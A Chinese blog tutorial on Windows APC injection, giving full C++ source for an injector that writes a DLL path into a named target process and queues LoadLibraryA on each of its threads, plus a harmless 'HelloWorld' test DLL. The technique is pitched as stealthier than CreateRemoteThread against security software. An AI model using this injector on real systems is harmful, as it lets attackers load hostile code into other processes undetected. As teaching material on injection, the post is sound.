安全之路 —— 利用APC队列实现跨进程注入

简介

在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入(链接),毫无疑问最经典的注入方式,但也因为如此,这种方式到今天已经几乎被所有安全软件所防御。所以今天笔者要介绍的是一种相对比较“另类”的方式,被称作“APC注入”。APC(Asynchronous Procedure Call),全称为异步过程调用,指的是函数在特定线程中被异步执行。简单地说,在Windows操作系统中,每一个进程的每一个线程都有自己的APC队列,可以使用QueueUserAPC函数把一个APC函数压入APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而是要等到线程处于可通知状态才会执行,也就是说,只有当一个线程内部调用WaitForSingleObject, WaitForMultiObjects, SleepEx等函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出(FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态,所以APC注入对于这类程序没有明显效果。

代码样例

  • DLL程序代码
////////////////////////////////
//
// FileName : HelloWorldDll.cpp
// Creator : PeterZheng
// Date : 2018/11/02 11:10
// Comment : HelloWorld Test DLL ^_^
//
////////////////////////////////

#include <iostream>
#include <Windows.h>

using namespace std;

BOOL WINAPI DllMain(
    _In_ HINSTANCE hinstDLL,
    _In_ DWORD     fdwReason,
    _In_ LPVOID    lpvReserved
)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}
  • 注入程序代码
////////////////////////////////
//
// FileName : APCInject.cpp
// Creator : PeterZheng
// Date : 2018/12/17 16:27
// Comment : APC Injector
//
////////////////////////////////

#pragma once

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>

using namespace std;

// 根据进程名字获取进程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
    HANDLE hSnapProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapProcess == NULL)
    {
        printf("[*] Create Process Snap Error!\n");
        return FALSE;
    }
    PROCESSENTRY32 pe32 = { 0 };
    RtlZeroMemory(&pe32, sizeof(pe32));
    pe32.dwSize = sizeof(pe32);
    BOOL bRet = Process32First(hSnapProcess, &pe32);
    while (bRet)
    {
        if (_stricmp(pe32.szExeFile, szProcessName) == 0)
        {
            dwPid = pe32.th32ProcessID;
            return TRUE;
        }
        bRet = Process32Next(hSnapProcess, &pe32);
    }
    return FALSE;
}

// 获取对应进程Id的所有线程Id
BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        printf("[*] Create Thread Id Space Error!\n");
        return FALSE;
    }
    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
    THREADENTRY32 te32 = { 0 };
    RtlZeroMemory(&te32, sizeof(te32));
    te32.dwSize = sizeof(te32);
    HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hThreadSnapshot == NULL)
    {
        printf("[*] Create Thread Snap Error!\n");
        return FALSE;
    }
    BOOL bRet = Thread32First(hThreadSnapshot, &te32);
    while (bRet)
    {
        if (te32.th32OwnerProcessID == dwPid)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnapshot, &te32);
    }
    *pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;
    return TRUE;
}

// 主函数
int main(int argc, char* argv[])
{
    if (argc != 3)
    {
        printf("[*] Format Error!  \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
        return 0;
    }
    LPSTR szExeName = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPSTR szDllPath = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlZeroMemory(szExeName, 100);
    RtlZeroMemory(szDllPath, 100);
    StringCchCopy(szExeName, 100, argv[1]);
    StringCchCopy(szDllPath, 100, argv[2]);
    DWORD dwPid = 0;
    BOOL bRet = GetProcessIdByName(szExeName, dwPid);
    if (!bRet)
    {
        printf("[*] Get Process Id Error!\n");
        return 0;
    }
    LPDWORD pThreadIdList = NULL;
    DWORD dwThreadIdListLength = 0;
    bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
    if (!bRet)
    {
        printf("[*] Get All Thread Id Error!\n");
        return 0;
    }
    // 打开进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
    {
        printf("[*] Open Process Error!\n");
        return 0;
    }
    DWORD dwDllPathLen = strlen(szDllPath) + 1;
    // 申请目标进程空间,用于存储DLL路径
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpBaseAddress == NULL)
    {
        printf("[*] VirtualAllocEx Error!\n");
        return 0;
    }
    SIZE_T dwWriten = 0;
    // 把DLL路径字符串写入目标进程
    WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
    if (dwWriten != dwDllPathLen)
    {
        printf("[*] Write Process Memory Error!\n");
        return 0;
    }
    LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (pLoadLibraryFunc == NULL)
    {
        printf("[*] Get Func Address Error!\n");
        return 0;
    }
    HANDLE hThread = NULL;
    // 倒序插入线程APC,可避免出现在插入时进程崩溃的现象
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
            CloseHandle(hThread);
            hThread = NULL;
        }
    }

    // DLL路径分割,方便输出
    LPCSTR szPathSign = "\\";
    LPSTR p = NULL;
    LPSTR next_token = NULL;
    p = strtok_s(szDllPath, szPathSign, &next_token);
    while (p)
    {
        StringCchCopy(szDllPath, 100, p);
        p = strtok_s(NULL, szPathSign, &next_token);
    }
    printf("[*] APC Inject Info [%s ==> %s] Success\n", szDllPath, szExeName);

    if (hProcess)
    {
        CloseHandle(hProcess);
        hProcess = NULL;
    }
    if (pThreadIdList)
    {
        VirtualFree(pThreadIdList, 0, MEM_RELEASE);
        pThreadIdList = NULL;
    }
    VirtualFree(szDllPath, 0, MEM_RELEASE);
    VirtualFree(szExeName, 0, MEM_RELEASE);
    ExitProcess(0);
    return 0;
}

运行截图

APC注入运行截图

参考资料

  1. 《Windows黑客编程技术详解》【甘迪文 著】
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,496评论 6 501
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,407评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,632评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,180评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,198评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,165评论 1 299
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,052评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,910评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,324评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,542评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,711评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,424评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,017评论 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,668评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,823评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,722评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,611评论 2 353

推荐阅读更多精彩内容

  • 转眼2016年,距离毕业又有一段时间。数字从2015,悄然划到了2016。看到圈子的大家都多多少少写了一些工作、生...
    zzz劼阅读 493评论 0 0
  • 你看到了那个小女孩 原来 一直无法释怀的 不是现在的自己 而是心疼那个小女孩 你想保护她 陪着她 你想要她快乐 那...
    墨迹女王阅读 145评论 0 0
  • 精细有个李大嘴,嘴唇又厚又大,但是还特能说,特会说,一副一张嘴就停不下来、大吹特吹牛的样子。 初见李大嘴就觉得他长...
    活着不易阅读 314评论 0 5
  • 单身女人爱说:“男人没有一个好东西。”成家的女人爱说:“嫁给你这样的男人是瞎了眼。”那么,好男人都上哪儿了? ...
    霸王花冰阅读 141评论 0 0